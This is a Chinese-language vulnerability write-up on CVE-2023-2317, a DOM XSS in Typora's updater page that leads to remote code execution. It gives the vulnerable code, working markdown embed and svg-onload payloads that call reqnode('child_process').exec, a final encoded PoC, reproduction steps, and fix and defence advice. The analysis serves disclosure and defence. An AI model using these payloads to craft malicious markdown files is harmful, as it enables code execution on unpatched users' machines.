Typora 远程代码执行漏洞分析(CVE-2023-2317)
字数 1734 2025-08-24 10:10:13
Typora 远程代码执行漏洞分析(CVE-2023-2317) 教学文档
1. 漏洞概述
漏洞编号: CVE-2023-2317
影响范围: Typora ≤ 1.6.7
漏洞类型: 远程代码执行(RCE)
漏洞说明: 低于1.6.7版本的Typora存在代码执行漏洞,攻击者可以通过在Markdown文件中构造特殊标签,加载typora://app/typemark/updater/update.html并在Typora主窗口的上下文中运行任意JavaScript代码。
2. 漏洞原理分析
2.1 问题代码段
漏洞存在于Typora的更新页面(updater.html)中,关键问题代码如下:
var curVersion = /[?&]curVersion=([^&]*)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]*)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]*)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]*)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]*)/.exec(window.location.search)[1]));
document.querySelector("#sum").innerText = labels[4] + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
2.2 漏洞成因
-
输入获取部分:
- 通过正则表达式匹配获取5个GET参数:
curVersion、newVersion、releaseNoteLink、hideAutoUpdates和labels releaseNoteLink参数会做一次URI解码labels参数会先做URI解码,再做JSON解析
- 通过正则表达式匹配获取5个GET参数:
-
DOM操作问题:
- 使用
innerHTML直接替换页面元素内容,且未对输入进行任何清洗 - 特别是
labels数组的前3个元素会直接通过innerHTML插入到DOM中 - 这导致了DOM型XSS漏洞
- 使用
-
Typora特殊环境:
- Typora内部实现了
typora://协议,可以访问特定文件 - 内部使用
reqnode函数代替常规的require函数 - 通过
reqnode('child_process')可以访问Node.js的child_process模块
- Typora内部实现了
3. 漏洞利用方法
3.1 利用思路
- 构造一个特殊的Markdown文件,包含加载
typora://app/typemark/updater/updater.html的标签 - 通过GET参数传递恶意payload
- 利用
innerHTML的不安全操作执行任意JavaScript代码 - 通过
reqnode('child_process')执行系统命令
3.2 构建Payload
基本Payload结构
<embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[...]">
Windows环境Payload
reqnode('child_process').exec("calc")
完整XSS Payload:
<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>
跨平台Payload
<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>
最终PoC
<embed src="typora://app/typemark/updater/updater.html?curVersion=a&newVersion=b&releaseNoteLink=c&hideAutoUpdates=false&labels=[%22%22,%22%3Csvg%2Fonload%3Dtop.eval(%60reqnode('child_process').exec('calc')%60)%3E%3C%2Fsvg%3E%22,%22%22,%22%22,%22%22,%22%22]">
3.3 漏洞复现步骤
- 创建一个新的Markdown文件
- 将构造好的PoC插入到文件中
- 使用受影响版本的Typora(≤1.6.7)打开该文件
- 观察是否弹出计算器(Windows)或计算器程序(Linux)
4. 漏洞修复方案
Typora在1.6.7版本中修复了此漏洞,主要修复措施包括:
- 将
innerHTML替换为innerText,防止HTML解析执行 - 更新后的updater.html文件不再直接使用用户输入更新DOM
5. 防御建议
-
用户防御:
- 立即升级到Typora 1.6.7或更高版本
- 不要打开来源不明的Markdown文件
-
开发者防御:
- 避免直接使用
innerHTML插入未经验证的用户输入 - 对动态内容进行适当的转义和过滤
- 使用内容安全策略(CSP)限制脚本执行
- 最小化暴露给渲染上下文的API
- 避免直接使用
6. 技术细节补充
6.1 Typora内部协议
Typora实现了typora://协议,用于访问特定文件:
- 示例:
typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js - updater.html路径:
typora://app/typemark/updater/updater.html
6.2 reqnode函数
Typora内部使用reqnode代替Node.js的require:
reqnode('child_process').exec("command")
6.3 参数处理细节
labels参数必须是至少包含6个元素的数组- 前3个元素会通过
innerHTML插入DOM(漏洞点) - 第4、5个元素使用
innerText插入(安全)